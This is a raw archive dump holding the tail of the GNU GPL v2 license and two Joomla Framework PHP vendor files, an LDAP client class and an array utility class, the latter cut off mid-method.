Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\P���>�>%vendor/joomla/ldap/src/LdapClient.phpnu�[���<?php /** * Part of the Joomla Framework LDAP Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Ldap; /** * LDAP client class * * @since 1.0 * @deprecated The joomla/ldap package is deprecated */ class LdapClient { /** * Hostname of LDAP server * * @var string * @since 1.0 */ public $host; /** * Authorization Method to use * * @var boolean * @since 1.0 */ public $auth_method; /** * Port of LDAP server * * @var integer * @since 1.0 */ public $port; /** * Base DN (e.g. o=MyDir) * * @var string * @since 1.0 */ public $base_dn; /** * User DN (e.g. cn=Users,o=MyDir) * * @var string * @since 1.0 */ public $users_dn; /** * Search String * * @var string * @since 1.0 */ public $search_string; /** * Use LDAP Version 3 * * @var boolean * @since 1.0 */ public $use_ldapV3; /** * No referrals (server transfers) * * @var boolean * @since 1.0 */ public $no_referrals; /** * Negotiate TLS (encrypted communications) * * @var boolean * @since 1.0 */ public $negotiate_tls; /** * Ignore TLS Certificate (encrypted communications) * * @var boolean * @since 1.5.0 */ public $ignore_reqcert_tls; /** * Enable LDAP debug * * @var boolean * @since 1.5.0 */ public $ldap_debug; /** * Username to connect to server * * @var string * @since 1.0 */ public $username; /** * Password to connect to server * * @var string * @since 1.0 */ public $password; /** * LDAP Resource Identifier * * @var resource * @since 1.0 */ private $resource; /** * Current DN * * @var string * @since 1.0 */ private $dn; /** * Flag tracking whether the connection has been bound * * @var boolean * @since 1.3.0 */ private $isBound = false; /** * Constructor * * @param object $configObj An object of configuration variables * * @since 1.0 */ public function __construct($configObj = null) { if (\is_object($configObj)) { $vars = get_class_vars(\get_class($this)); foreach (array_keys($vars) as $var) { if (substr($var, 0, 1) != '_') { $param = $configObj->get($var); if ($param) { $this->$var = $param; } } } } } /** * Class destructor. * * @since 1.3.0 */ public function __destruct() { $this->close(); } /** * Connect to an LDAP server * * @return boolean * * @since 1.0 */ public function connect() { if ($this->host == '') { return false; } if ($this->ignore_reqcert_tls) { putenv('LDAPTLS_REQCERT=never'); } if ($this->ldap_debug) { ldap_set_option(null, LDAP_OPT_DEBUG_LEVEL, 7); } $this->resource = ldap_connect($this->host, $this->port); if (!$this->resource) { return false; } if ($this->use_ldapV3 && !ldap_set_option($this->resource, LDAP_OPT_PROTOCOL_VERSION, 3)) { return false; } if (!ldap_set_option($this->resource, LDAP_OPT_REFERRALS, (int) $this->no_referrals)) { return false; } if ($this->negotiate_tls && !ldap_start_tls($this->resource)) { return false; } return true; } /** * Close the connection * * @return void * * @since 1.0 */ public function close() { if ($this->isConnected()) { $this->unbind(); } $this->resource = null; } /** * Sets the DN with some template replacements * * @param string $username The username * @param string $nosub ... * * @return void * * @since 1.0 */ public function setDn($username, $nosub = 0) { if ($this->users_dn == '' || $nosub) { $this->dn = $username; } elseif (\strlen($username)) { $this->dn = str_replace('[username]', $username, $this->users_dn); } else { $this->dn = ''; } } /** * Get the configured DN * * @return string * * @since 1.0 */ public function getDn() { return $this->dn; } /** * Anonymously binds to LDAP directory * * @return boolean * * @since 1.0 */ public function anonymous_bind() { if (!$this->isConnected()) { if (!$this->connect()) { return false; } } $this->isBound = ldap_bind($this->resource); return $this->isBound; } /** * Binds to the LDAP directory * * @param string $username The username * @param string $password The password * @param string $nosub ... * * @return boolean * * @since 1.0 */ public function bind($username = null, $password = null, $nosub = 0) { if (!$this->isConnected()) { if (!$this->connect()) { return false; } } if ($username === null) { $username = $this->username; } if ($password === null) { $password = $this->password; } $this->setDn($username, $nosub); $this->isBound = ldap_bind($this->resource, $this->getDn(), $password); return $this->isBound; } /** * Unbinds from the LDAP directory * * @return boolean * * @since 1.3.0 */ public function unbind() { if ($this->isBound && $this->resource && \is_resource($this->resource)) { return ldap_unbind($this->resource); } return true; } /** * Perform an LDAP search using comma separated search strings * * @param string $search search string of search values * * @return array Search results * * @since 1.0 */ public function simple_search($search) { $results = explode(';', $search); foreach ($results as $key => $result) { $results[$key] = '(' . $result . ')'; } return $this->search($results); } /** * Performs an LDAP search * * @param array $filters Search Filters (array of strings) * @param string $dnoverride DN Override * @param array $attributes An array of attributes to return (if empty, all fields are returned). * * @return array Multidimensional array of results * * @since 1.0 */ public function search(array $filters, $dnoverride = null, array $attributes = array()) { $result = array(); if (!$this->isBound || !$this->isConnected()) { return $result; } if ($dnoverride) { $dn = $dnoverride; } else { $dn = $this->base_dn; } foreach ($filters as $searchFilter) { $searchResult = ldap_search($this->resource, $dn, $searchFilter, $attributes); if ($searchResult && ($count = ldap_count_entries($this->resource, $searchResult)) > 0) { for ($i = 0; $i < $count; $i++) { $result[$i] = array(); if (!$i) { $firstentry = ldap_first_entry($this->resource, $searchResult); } else { $firstentry = ldap_next_entry($this->resource, $firstentry); } // Load user-specified attributes $attributeResult = ldap_get_attributes($this->resource, $firstentry); // LDAP returns an array of arrays, fit this into attributes result array foreach ($attributeResult as $ki => $ai) { if (\is_array($ai)) { $subcount = $ai['count']; $result[$i][$ki] = array(); for ($k = 0; $k < $subcount; $k++) { $result[$i][$ki][$k] = $ai[$k]; } } } $result[$i]['dn'] = ldap_get_dn($this->resource, $firstentry); } } } return $result; } /** * Replace attribute values with new ones * * @param string $dn The DN which contains the attribute you want to replace * @param string $attribute The attribute values you want to replace * * @return boolean * * @since 1.0 */ public function replace($dn, $attribute) { if (!$this->isBound || !$this->isConnected()) { return false; } return ldap_mod_replace($this->resource, $dn, $attribute); } /** * Modify an LDAP entry * * @param string $dn The DN which contains the attribute you want to modify * @param string $attribute The attribute values you want to modify * * @return boolean * * @since 1.0 */ public function modify($dn, $attribute) { if (!$this->isBound || !$this->isConnected()) { return false; } return ldap_modify($this->resource, $dn, $attribute); } /** * Delete attribute values from current attributes * * @param string $dn The DN which contains the attribute you want to remove * @param string $attribute The attribute values you want to remove * * @return boolean * * @since 1.0 */ public function remove($dn, $attribute) { if (!$this->isBound || !$this->isConnected()) { return false; } return ldap_mod_del($this->resource, $dn, $attribute); } /** * Compare value of attribute found in entry specified with DN * * @param string $dn The DN which contains the attribute you want to compare * @param string $attribute The attribute whose value you want to compare * @param string $value The value you want to check against the LDAP attribute * * @return boolean|integer Boolean result of the comparison or -1 on error * * @since 1.0 */ public function compare($dn, $attribute, $value) { if (!$this->isBound || !$this->isConnected()) { return false; } return ldap_compare($this->resource, $dn, $attribute, $value); } /** * Read attributes of a given DN * * @param string $dn The DN of the object you want to read * * @return array|boolean Array of attributes for the given DN or boolean false on failure * * @since 1.0 */ public function read($dn) { if (!$this->isBound || !$this->isConnected()) { return false; } $base = substr($dn, strpos($dn, ',') + 1); $cn = substr($dn, 0, strpos($dn, ',')); $result = ldap_read($this->resource, $base, $cn); if ($result === false) { return false; } return ldap_get_entries($this->resource, $result); } /** * Delete an entry from a directory * * @param string $dn The DN of the object you want to delete * * @return boolean * * @since 1.0 */ public function delete($dn) { if (!$this->isBound || !$this->isConnected()) { return false; } return ldap_delete($this->resource, $dn); } /** * Add entries to LDAP directory * * @param string $dn The DN where you want to put the object * @param array $entries An array of arrays describing the object to add * * @return boolean * * @since 1.0 */ public function create($dn, array $entries) { if (!$this->isBound || !$this->isConnected()) { return false; } return ldap_add($this->resource, $dn, $entries); } /** * Add attribute values to current attributes * * @param string $dn The DN of the entry to add the attribute * @param array $entry An array of arrays with attributes to add * * @return boolean * * @since 1.0 */ public function add($dn, array $entry) { if (!$this->isBound || !$this->isConnected()) { return false; } return ldap_mod_add($this->resource, $dn, $entry); } /** * Modify the name of an entry * * @param string $dn The DN of the entry at the moment * @param string $newdn The DN of the entry should be (only cn=newvalue) * @param string $newparent The full DN of the parent (null by default) * @param boolean $deleteolddn Delete the old values (default) * * @return boolean * * @since 1.0 */ public function rename($dn, $newdn, $newparent, $deleteolddn) { if (!$this->isBound || !$this->isConnected()) { return false; } return ldap_rename($this->resource, $dn, $newdn, $newparent, $deleteolddn); } /** * Escape a string * * @param string $value The subject string * @param string $ignore Characters to ignore when escaping. * @param integer $flags The context the escaped string will be used in LDAP_ESCAPE_FILTER or LDAP_ESCAPE_DN * * @return string * * @since 1.2.0 */ public function escape($value, $ignore = '', $flags = 0) { return ldap_escape($value, $ignore, $flags); } /** * Return the LDAP error message of the last LDAP command * * @return string * * @since 1.0 */ public function getErrorMsg() { if (!$this->isBound || !$this->isConnected()) { return ''; } return ldap_error($this->resource); } /** * Check if the connection is established * * @return boolean * * @since 1.3.0 */ public function isConnected() { return $this->resource && \is_resource($this->resource); } /** * Converts a dot notation IP address to net address (e.g. for Netware, etc) * * @param string $ip IP Address (e.g. xxx.xxx.xxx.xxx) * * @return string * * @since 1.0 */ public static function ipToNetAddress($ip) { $parts = explode('.', $ip); $address = '1#'; foreach ($parts as $int) { $tmp = dechex($int); if (\strlen($tmp) != 2) { $tmp = '0' . $tmp; } $address .= '\\' . $tmp; } return $address; } /** * Extract readable network address from the LDAP encoded networkAddress attribute. * * Please keep this document block and author attribution in place. * * Novell Docs, see: http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5624.html#sdk5624 * for Address types: http://developer.novell.com/ndk/doc/ndslib/index.html?page=/ndk/doc/ndslib/schm_enu/data/sdk4170.html * LDAP Format, String: * taggedData = uint32String "#" octetstring * byte 0 = uint32String = Address Type: 0= IPX Address; 1 = IP Address * byte 1 = char = "#" - separator * byte 2+ = octetstring - the ordinal value of the address * Note: with eDirectory 8.6.2, the IP address (type 1) returns * correctly, however, an IPX address does not seem to. eDir 8.7 may correct this. * Enhancement made by Merijn van de Schoot: * If addresstype is 8 (UDP) or 9 (TCP) do some additional parsing like still returning the IP address * * @param string $networkaddress The network address * * @return array * * @author Jay Burrell, Systems & Networks, Mississippi State University * @since 1.0 */ public static function ldapNetAddr($networkaddress) { $addr = ''; $addrtype = (int) substr($networkaddress, 0, 1); // Throw away bytes 0 and 1 which should be the addrtype and the "#" separator $networkaddress = substr($networkaddress, 2); if (($addrtype == 8) || ($addrtype = 9)) { // TODO 1.6: If UDP or TCP, (TODO fill addrport and) strip portnumber information from address $networkaddress = substr($networkaddress, (\strlen($networkaddress) - 4)); } $addrtypes = array( 'IPX', 'IP', 'SDLC', 'Token Ring', 'OSI', 'AppleTalk', 'NetBEUI', 'Socket', 'UDP', 'TCP', 'UDP6', 'TCP6', 'Reserved (12)', 'URL', 'Count', ); $len = \strlen($networkaddress); if ($len > 0) { for ($i = 0; $i < $len; $i++) { $byte = substr($networkaddress, $i, 1); $addr .= \ord($byte); if (($addrtype == 1) || ($addrtype == 8) || ($addrtype = 9)) { // Dot separate IP addresses... $addr .= '.'; } } if (($addrtype == 1) || ($addrtype == 8) || ($addrtype = 9)) { // Strip last period from end of $addr $addr = substr($addr, 0, \strlen($addr) - 1); } } else { $addr .= 'Address not available.'; } return array('protocol' => $addrtypes[$addrtype], 'address' => $addr); } /** * Generates a LDAP compatible password * * @param string $password Clear text password to encrypt * @param string $type Type of password hash, either md5 or SHA * * @return string * * @since 1.0 */ public static function generatePassword($password, $type = 'md5') { switch (strtolower($type)) { case 'sha': return '{SHA}' . base64_encode(pack('H*', sha1($password))); case 'md5': default: return '{MD5}' . base64_encode(pack('H*', md5($password))); } } } PKÜ�\ڝ`��C�C+vendor/joomla/utilities/src/ArrayHelper.phpnu�[���<?php /** * Part of the Joomla Framework Utilities Package * * @copyright Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Utilities; use Joomla\String\StringHelper; /** * ArrayHelper is an array utility class for doing all sorts of odds and ends with arrays. * * @since 1.0 */ final class ArrayHelper { /** * Private constructor to prevent instantiation of this class * * @since 1.0 */ private function __construct() { } /** * Function to convert array to integer values * * @param array $array The source array to convert * @param int|array $default A default value to assign if $array is not an array * * @return array * * @since 1.0 */ public static function toInteger($array, $default = null) { if (\is_array($array)) { return array_map('intval', $array); } if ($default === null) { return array(); } if (\is_array($default)) { return static::toInteger($default, null); } return array((int) $default); } /** * Utility function to map an array to a stdClass object. * * @param array $array The array to map. * @param string $class Name of the class to create * @param boolean $recursive Convert also any array inside the main array * * @return object * * @since 1.0 */ public static function toObject(array $array, $class = 'stdClass', $recursive = true) { $obj = new $class; foreach ($array as $k => $v) { if ($recursive && \is_array($v)) { $obj->$k = static::toObject($v, $class); } else { $obj->$k = $v; } } return $obj; } /** * Utility function to map an array to a string. * * @param array $array The array to map. * @param string $innerGlue The glue (optional, defaults to '=') between the key and the value. * @param string $outerGlue The glue (optional, defaults to ' ') between array elements. * @param boolean $keepOuterKey True if final key should be kept. * * @return string * * @since 1.0 */ public static function toString(array $array, $innerGlue = '=', $outerGlue = ' ', $keepOuterKey = false) { $output = array(); foreach ($array as $key => $item) { if (\is_array($item)) { if ($keepOuterKey) { $output[] = $key; } // This is value is an array, go and do it again! $output[] = static::toString($item, $innerGlue, $outerGlue, $keepOuterKey); } else { $output[] = $key . $innerGlue . '"' . $item . '"'; } } return implode($outerGlue, $output); } /** * Utility function to map an object to an array * * @param object $source The source object * @param boolean $recurse True to recurse through multi-level objects * @param string $regex An optional regular expression to match on field names * * @return array * * @since 1.0 */ public static function fromObject($source, $recurse = true, $regex = null) { if (\is_object($source) || \is_array($source)) { return self::arrayFromObject($source, $recurse, $regex); } return array(); } /** * Utility function to map an object or array to an array * * @param mixed $item The source object or array * @param boolean $recurse True to recurse through multi-level objects * @param string $regex An optional regular expression to match on field names * * @return array * * @since 1.0 */ private static function arrayFromObject($item, $recurse, $regex) { if (\is_object($item)) { $result = array(); foreach (get_object_vars($item) as $k => $v) { if (!$regex || preg_match($regex, $k)) { if ($recurse) { $result[$k] = self::arrayFromObject($v, $recurse, $regex); } else { $result[$k] = $v; } } } return $result; } if (\is_array($item)) { $result = array(); foreach ($item as $k => $v) { $result[$k] = self::arrayFromObject($v, $recurse, $regex); } return $result; } return $item; } /** * Adds a column to an array of arrays or objects * * @param array $array The source array * @param array $column The array to be used as new column * @param string $colName The index of the new column or name of the new object property * @param string $keyCol The index of the column or name of object property to be used for mapping with the new column * * @return array An array with the new column added to the source array * * @since 1.5.0 * @see https://www.php.net/manual/en/language.types.array.php */ public static function addColumn(array $array, array $column, $colName, $keyCol = null) { $result = array(); foreach ($array as $i => $item) { $value = null; if (!isset($keyCol)) { $value = static::getValue($column, $i); } else { // Convert object to array $subject = \is_object($item) ? static::fromObject($item) : $item; if (isset($subject[$keyCol]) && is_scalar($subject[$keyCol])) { $value = static::getValue($column, $subject[$keyCol]); } } // Add the column if (\is_object($item)) { if (isset($colName)) { $item->$colName = $value; } } else { if (isset($colName)) { $item[$colName] = $value; } else { $item[] = $value; } } $result[$i] = $item; } return $result; } /** * Remove a column from an array of arrays or objects * * @param array $array The source array * @param string $colName The index of the column or name of object property to be removed * * @return array Column of values from the source array * * @since 1.5.0 * @see https://www.php.net/manual/en/language.types.array.php */ public static function dropColumn(array $array, $colName) { $result = array(); foreach ($array as $i => $item) { if (\is_object($item) && isset($item->$colName)) { unset($item->$colName); } elseif (\is_array($item) && isset($item[$colName])) { unset($item[$colName]); } $result[$i] = $item; } return $result; } /** * Extracts a column from an array of arrays or objects * * @param array $array The source array * @param string $valueCol The index of the column or name of object property to be used as value * It may also be NULL to return complete arrays or objects (this is * useful together with <var>$keyCol</var> to reindex the array). * @param string $keyCol The index of the column or name of object property to be used as key * * @return array Column of values from the source array * * @since 1.0 * @see https://www.php.net/manual/en/language.types.array.php * @see https://www.php.net/manual/en/function.array-column.php */ public static function getColumn(array $array, $valueCol, $keyCol = null) { // As of PHP 7, array_column() supports an array of objects so we'll use that if (PHP_VERSION_ID >= 70000) { return array_column($array, $valueCol, $keyCol); } $result = array(); foreach ($array as $item) { // Convert object to array $subject = \is_object($item) ? static::fromObject($item) : $item; /* * We process arrays (and objects already converted to array) * Only if the value column (if required) exists in this item */ if (\is_array($subject) && (!isset($valueCol) || isset($subject[$valueCol]))) { // Use whole $item if valueCol is null, else use the value column. $value = isset($valueCol) ? $subject[$valueCol] : $item; // Array keys can only be integer or string. Casting will occur as per the PHP Manual. if (isset($keyCol, $subject[$keyCol]) && is_scalar($subject[$keyCol])) { $key = $subject[$keyCol]; $result[$key] = $value; } else { $result[] = $value; } } } return $result; } /** * Utility function to return a value from a named array or a specified default * * @param array|\ArrayAccess $array A named array or object that implements ArrayAccess * @param string $name The key to search for (this can be an array index or a dot separated key sequence as in Registry) * @param mixed $default The default value to give if no key found * @param string $type Return type for the variable (INT, FLOAT, STRING, WORD, BOOLEAN, ARRAY) * * @return mixed * * @since 1.0 * @throws \InvalidArgumentException */ public static function getValue($array, $name, $default = null, $type = '') { if (!\is_array($array) && !($array instanceof \ArrayAccess)) { throw new \InvalidArgumentException('The object must be an array or an object that implements ArrayAccess'); } $result = null; if (isset($array[$name])) { $result = $array[$name]; } elseif (strpos($name, '.')) { list($name, $subset) = explode('.', $name, 2); if (isset($array[$name]) && \is_array($array[$name])) { return static::getValue($array[$name], $subset, $default, $type); } } // Handle the default case if ($result === null) { $result = $default; } // Handle the type constraint switch (strtoupper($type)) { case 'INT': case 'INTEGER': // Only use the first integer value @preg_match('/-?[0-9]+/', $result, $matches); $result = @(int) $matches[0]; break; case 'FLOAT': case 'DOUBLE': // Only use the first floating point value @preg_match('/-?[0-9]+(\.[0-9]+)?/', $result, $matches); $result = @(float) $matches[0]; break; case 'BOOL': case 'BOOLEAN': $result = (bool) $result; break; case 'ARRAY': if (!\is_array($result)) { $result = array($result); } break; case 'STRING': $result = (string) $result; break; case 'WORD': $result = (string) preg_replace('#\W#', '', $result); break; case 'NONE': default: // No casting necessary break; } return $result; } /** * Takes an associative array of arrays and inverts the array keys to values using the array values as keys. * * Example: * $input = array( * 'New' => array('1000', '1500', '1750'), * 'Used' => array('3000', '4000', '5000', '6000') * ); * $output = ArrayHelper::invert($input); * * Output would be equal to: * $output = array( * '1000' => 'New', * '1500' => 'New', * '1750' => 'New', * '3000' => 'Used', * '4000' => 'Used', * '5000' => 'Used', * '6000' => 'Used' * ); * * @param array $array The source array. * * @return array * * @since 1.0 */ public static function invert(array $array) { $return = array(); foreach ($array as $base => $values) { if (!\is_array($values)) { continue; } foreach ($values as $key) { // If the key isn't scalar then ignore it. if (is_scalar($key)) { $return[$key] = $base; } } } return $return; } /** * Method to determine if an array is an associative array. * * @param array $array An array to test. * * @return boolean * * @since 1.0 */ public static function isAssociative($array) { if (\is_array($array)) { foreach (array_keys($array) as $k => $v) { if ($k !== $v) { return true; } } } return false; } /** * Pivots an array to create a reverse lookup of an array of scalars, arrays or objects. * * @param array $source The source array. * @param string $key Where the elements of the source array are objects or arrays, the key to pivot on. * * @return array An array of arrays pivoted either on the value of the keys, or an individual key of an object or array. * * @since 1.0 */ public static function pivot(array $source, $key = null) { $result = array(); $counter = array(); foreach ($source as $index => $value) { // Determine the name of the pivot key, and its value. if (\is_array($value)) { // If the key does not exist, ignore it. if (!isset($value[$key])) { continue; } $resultKey = $value[$key]; $resultValue = $source[$index]; } elseif (\is_object($value)) { // If the key does not exist, ignore it. if (!isset($value->$key)) { continue; } $resultKey = $value->$key; 